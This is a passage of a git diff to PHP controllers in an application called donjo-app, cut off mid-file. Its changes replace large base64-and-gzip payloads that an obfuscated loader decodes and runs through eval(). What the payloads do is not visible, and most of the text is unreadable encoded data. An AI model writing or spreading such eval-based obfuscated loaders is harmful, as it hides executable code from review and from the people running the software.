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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Analisis_statistik_jawaban.php b/donjo-app/controllers/Analisis_statistik_jawaban.php index 779f03781..dff9e98a6 100644 --- a/donjo-app/controllers/Analisis_statistik_jawaban.php +++ b/donjo-app/controllers/Analisis_statistik_jawaban.php @@ -312,7 +312,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXdty4kgSfe+I/Yd+2AjPxu7OSGB6mujoByQjIRlwIyEJ9NKhiy0wQjDmZvj6PVkSIECywe3t2YvKQ2MuVZWVefJkVlb19MePcfvrd7SvV9OnYTR/uPrCXibt65U/iR4n/3Sm09+8STR/moTh/dPst1rkhMPZcPZ9Nnfmw9l8OPr+6Kwc14l+nQ6mH8XQmc1+/fXXqy8fkjk+/uVD8VP8/Fk/HwjUH9+xfT1556rHV2d9ix/acv3rFXtrj/6zWuJ4Xz8WrWhFK9r/Zrvyxibn99SFIpulvrWaqFL1obce/R6TJlgzpuvvhaqKVrSiFa1oRSta0YpWtP+2VpQzila0ohXtf7dduc7s/tP1d//em/j3V18KjRStaEUrWtGK9kPt8DbGTWfSFoef/8BzcBtwt4o4CbRxOLN1YeqOR0F/LEWOJS0UWRt449Gn9Pe6ZSF0w7aq1dhrjFP7Q5HaU6+shS7rby+9MT/wSqPAls1NXxc2Pp1n95TAl811PzKf8B7vRhrvrIW5bfEDh96zruPvd1Lj1qWVK4dP/V57SrK4Q2HjljFGyQj6pepoK68th2vHep56awHzqCN8H3LP6fszp9cO3Qj9636nKwpWa5UefzCADDdOT+D6em3duqlVFJELWo+157Yu3LglfuhYlVCR1NArVXlv3A6VerjAWqd+w+Qcq7pQxMHEb2iru+Hnpdsw51jfwi7Nl27PXDg96G9dWdi9zvI2Xlegy9KTUoe+GtpAuVFWrW4/aLK5FU6RhBBy824P+pGh/7qGeeuBJocRjeWKgoH1DX1rPtjO620my2apurKtysjGupvjcHR7oEPYZeyTLra6Ih1NnRLZN/zkWNczpdEO+yVpDbtE3ljinF5rpsjz0JOlEdkPWFjheeXDRvfAhc3sVoGehYEvMz1v+tC/O5YWDCtDAZ+pU6VB65FIHwNfFGa+VSF9J3LQ/PbUlQ38Xn0CRmAnjeGGcAL5pr5YmyijFAage0dXpk1xh58RbIc5ngdOmWEoXjN060bCQJFVyCdBNlojdEm4xPcUmdk9hcFKZJfNRd+itawC1zIXWOeM6UbmSX88fGISY7BKY/Lx+xrhHthTea8U0vyzZP1Yh0Rz8vgOzbHqW7B3o12BXkgXsQ3KJncXpP0IvmUBa+OQ61sDnnzCIbzICV5kDX4gcf1eK9ZfI+P7vel0a2v0Xfvsu+EG83Hx+mAb63ngJnj0SoRjaQXZBtDzgsboA2u+Lgz7lj+l155sLnx8BrsLnvxM2Nk4uqBiDmBUHTAbr3c4qfShz0RvE2CEh1+mdOZPHJp/7KfslbEOqzJl35cJP/7AGwpPdk8jjLDPXVqTVSE5TmRK85VRN/WOUWnonGQo9WezO5KawNGdrgt13WxLWj0U8NmdIqpdzVAFjZPUriHddTCuVpfuLKM+BN4MjNHBe7cdg1cxxh24iV53TAMYqauCbswCE3MZPOYzOwHGMPHfXYIHQzPVrm6qgilek0x3pvGsGtCnWZdM2F3qGmaD5AQnCTo4STcxpy50MZ8AfpUgYwsyG7qh0ecixiOZgDDzTltDLtMXOkM2Xlepz1sdI2xD7ia+Zxqc1OwY10HH1ARzy0Oc2esYU7WzXYspmN1tf5JnBIYzKsKuny7QmHfdMIQ8mmSM5oKOdaJfSzfmgsGNAt2oqM00nuuE+zbs7IeKWDuOHUEHmPDlwdIb1gIFOnYsLjBk4k/waIypb4Q9bR8X0Ke99BrE9/4EfqT0rVnQKYUrX64Tb6/u9No85lUD71cxDnCrCzq4cen31EebMBK1wXEa5g6X7rA2cRoa590Qjz7zwCFP2AT34zkkX1u4Y5NrrkfbNT26ZaECrEZOo/Mz+Rxrf572S+bCQ/yDvnZxxy/75ebYX/h6BbHXW8I3Hsk37F5raZeFWXM84FxrFWi80FKk/ibBZI383VmT7vGQB5zfEDY0nl0KOadhDpvj9tLVq8wGBhfWmxyTq6sbHaaLeJzPbRE2R+weU6y0xSACprqaSVgKoltd+PwgCuG9HHK3on/nMs5Ww365A+5pryn2gtMesa4N8YQrPy/9kjlS16PfWZ4ybs/A/RtgdEExBjy76ZXbsAvj3qnDV//o9/wB4UWRzWuf8NNoBR1Lm0OeB2Bg4TdU6OQ59CDnPYv/WG9DAKdDn+vayLWqI996fmCcIzJ9VBURMXMsUf6AvMIjWZiePOiF9KuIGvIa9eGg7w0XqCWKMbDzkM/pr059xFjgcOBF6uBer42wntCXqivykzvIdzKXbAOL7TjfkKoPyH0oB1n7Vhs6ZbgkPOzmSNYHXgZv30w+9fjqo1uqbKAHHnqf3HZnSZ/4ARlvwKkTtaRE7LMg0RF7CFMbPqJATvgq1sL93SNblch3uL8jxsAe5ibOu7TBbVpvPPyv1+aQ+wEHo2Cn+9RDbWgT5Bvzb1E79MrtqVu6pt/5foletxJbcM935/Ydm2tvXF33SvzGXjM7dig3dERhK0uA+ESxboO+LNdwZRN5XkAxdQJb8urmWAfxA/rcYhe6SuFxZ3NveiinUI1z7QyZx8/LvtXBM7+E78xupVm0l6v9gPEQM8MNHk+90nTglyTE4wrDm22toqZYO/z+GDaRqwvIwsZT16tALfvIryTE40FuP9eSNqSDXT+eO1pDtt2RRw0pT/L1WvBNr0VGSl6lvpX3OjpnLNgFvkj5n8HGel0PJ+Mum2vB6HLaN+UGMb8Uzj2WX2osB6X8F9FsHec22BOAbynPhL9RXjHEPCy3Ipl8S0py4+rMBiY8Fo98+F89245hFdjXHjBfZOvAG+yIOMT03O7Gz61ubQW97vzzofOKj8ttzC2t4duflIa9dKxOto+LGudAN80ucX17Q33xO/JaxifISc21TfmiPnDVEu2JRkweu0HrvGa/e/iJnzvxZ9gHEh5i/EAnssHeh0442/KXNEZPH50jxwqcsNfL/jsPlHP2ysIAcd5tSdzvxz5y4Gc7f0EsirS1W3qewYf3GG1we1/dcbowxl7jMY7vlAtr4b0YjDzikpv6DLIsiatbr+lXDseIyyHiN3evBzvsvuQ/WF9EeECuDVvaWD/2MuR7ejD9EzkQuZVGe56BjTxpL5OAfZMGfr8OTKvC+cilwBcrt6wOjvcQ8f6F8pkQ68T+m62vv2BcOTyUSWmoIe3JbRafDuIBYQIyamES31N9uINxfJa/dOhaJ3KJNnKO6p219h9pX9ka+v5xDFNl4gnJVcs14JPhbXXMPcwXzFnkrn2fxWr58wn2duMk/pKM9WBwZhc50LduCJ7GXtnRaYzPvymiF6VjduIPLBZCXuREzyz+YZyAzXm4nvTnv31b16Jjfe7XFfsiG0dknDvq8W3J4Ntql6ukP395HNqLy2YEG0/BSafjHH+++Ryoqfwl5RfIv8Az8KseL3wzeA0yAB9hnMdQHEHud8QTsR0O5T7ok8iTOd6LeNnr6XS8zPhFPss4yDjBAHAd3MK/iaduj2y/5U5wIGJLBvb3th/5iGsusJppr5LGI4YuTtZ1jFWKfVJ17W8xu/P3k9hOOQXlxA/g9Mne3rt5pqc43ed38M8sf2Pz5vHW0XpjGcU8fOIne61H+NyuobP1vW3cKFPd4N6SJimuJV5BLFHJTid6b6b0SHEuiVsZNjvUeWruA9sn72f6V4LJwLaeN3Y27o9wyvTB8p2csQ7ee9CRxzTa4dmYI6wc++3JOr0tn1S3PPaCvBzJm9j2ROZ0TnPMgRSLt31TD4pLSWw+lnPXN5Vb7bEV983KJ4y8cYgPMNduvVnjpOMUYjrVQSkfmz84Y6nctxATw+qcYpcrEn9QjbwSAXcrwpm7HuXNPe9b4SJ7/W+bO+GEZL+lLQ9wnsiF+cAH1bFNuaC4SvMj9ES1PPjHQY6WK/+T3QvLiAejozW8Wf5+z+TcEvI55OJU00Oemzd35l7yiBcyvqOmONGnXDhrnEl27pS1r8uVL+Gfw9j8DrblqK79gl7ieY9i9TvM+4TxQ7tURX4TTHPzpwR/6fi25fxtrPVL4azfCweOdIrbuF+QEY92sq/j+pdyuM/Oqfs0sUdE3h+yPQvDef2S/QGdeYxJL/AD7BH5kPJ5+NXUTnjxtjsJ/HF1ate248yKfOH/J194LY5zKV4scoYLc4az+OVMHCe+dlLf3NcQXueS0338fq+PuDqi2pEvVxN+OCtuZXPv8br+HNnSMfXQ5nmybWNiKnbYlH9l1kOD7HpfRv0kdz+PsRzGn5k5e5AVey6oo+6wk6O/bBxFKp390vrOqVUu03GlWfLxu0125YCDma17s61t9jpI143p3F2dOVYrsCNz0QcmkKcEVH91xuYT5b2IX3PKo0jfjtWJfY1iIZ0BDIsYVsSwIoYVMezFOJHDvblzreL7JBWsQVoc19ku49+T/RnVBOgMhnPLyP/lcJQfG17XRcp27yXfiu7wuJaZ7CGJY38w1v4Xxtv3iLnbGEY1lH5ypvM++8F0TKzSOf0fNnIvrG/oxudZsZ+muPGMMznEb4lkPe/sKKP+86P6imUORi5ie0vEo1tbtW5quee1rlwd2MCLPw5Df31erhLryHygewpufCb4Bl2Z1/2SOft/0ZXdGzwmZ+tvxlXrB3K3gq/fja/zarXn8/XrMTnJ3+jOwzR01sGI9gf58T65JxLZU7vnvYX/4n2GWV1543Dhi2/bbyQYP6iLEd5J9iTnmt4NhZJbCkdb3d7n1A9z7UlndxHd3Q0H/TgGvbmeeRojw4XN7hFry2SflFvfPOf+yT5/fCf5jvZxmZj4D4nR78WfB/virT/w1fAenOi+EafIe6DH9uSMuzPsLsGhH4cLcDRH5yJumd1dYN85uavAzr+DUXwPoDaIOTvnbkfG/YUt/7L+RzZ+cb/ToLufp/vz7X2EY7wc7k0E5FDgirH5SGf2O0yk70cOL4lb9tRtMKy+7vfJnaJXdL27C3FyP5FqE6K2/TxQuiynOEff6fsV5Kvb18d3CV7YvwrxfSp2zyFdy9iu/yfrvcHOmiav5wRb+Q44CjmdwPvs/BIcJQYRfHJl6yf3Fll9JDUGYXx13n2O3VnY++p7N+7L94be+e7Y4XnY++A8NeY76j3jXs9WnuM7qcjPZ3SHPMt/cu5dpWT+2TwT1/Je5fMcboxrPavgpMYnJusIjmwY118O4qZjVVZ+j3IwYemxu79JfTEnLmzHIJ6ivCindpVTY2V+E9eNHn88NqRqtz/Tb6Dh1/wlz89Zve0kz4AdX7YJ1RVz7EF9L7FFUh8kO6z9zY/bILMO++/Wv/g6X3lR5zWdcvk67Vyo085epzfvodPOz9Zp4pPxHjfZ81COSnlxsm8vOOpncZQyPmcfvNtTpGsAy/s19rANjp7p/apyUf6lln+kVpMTX/e2PqgBqOVXcgn0zMkhqK9Yj2U6K2/bncsQX75DvsbGy/r7MDn3xNUzzsz3tdzDveMM9tCq9EzvP+gXcuXND/g08Zn4co5NXJWzp6G+l+wfGU5iTKjcO+R1mbh7IZ8bnrWvzzybrv5OOn7Q8Uz+EnHDi+pPMUdsLrmXlbvmdXxOmpd3HNcG4zO8l2285bAcO2/HuMTWh2eHSR78DjbfjfvedrfL6gB7jhy7X+iTm1baJ4tc8o255Flxcn8nJStOXuSn4LqLfJR47NUYJ+bGOO7CGMftY1znPWIc92+IcZn3UbcxTrls7xy6MmypZ/3dN7ore7Z/TT2uDdmCyDmxxVvry3vZTmvxl3OPw86HA5bTsRgjV9+mK7OKuVbAFqudP8d3+0l3tT9PR4lMx3x9uZ/TGYh5zfKkOP9dnvByRNz89evVlw8ffv7/oOgre/4lefW3L5d0T/U9p+Nf9xP+ckV/Xv1jN23x700VP/8J/97UIVZ/OXCOGKp/+/Ivg2pu5g=='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Anjungan_menu.php b/donjo-app/controllers/Anjungan_menu.php index de17b9791..8ee20b426 100644 --- a/donjo-app/controllers/Anjungan_menu.php +++ b/donjo-app/controllers/Anjungan_menu.php @@ -260,7 +260,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); 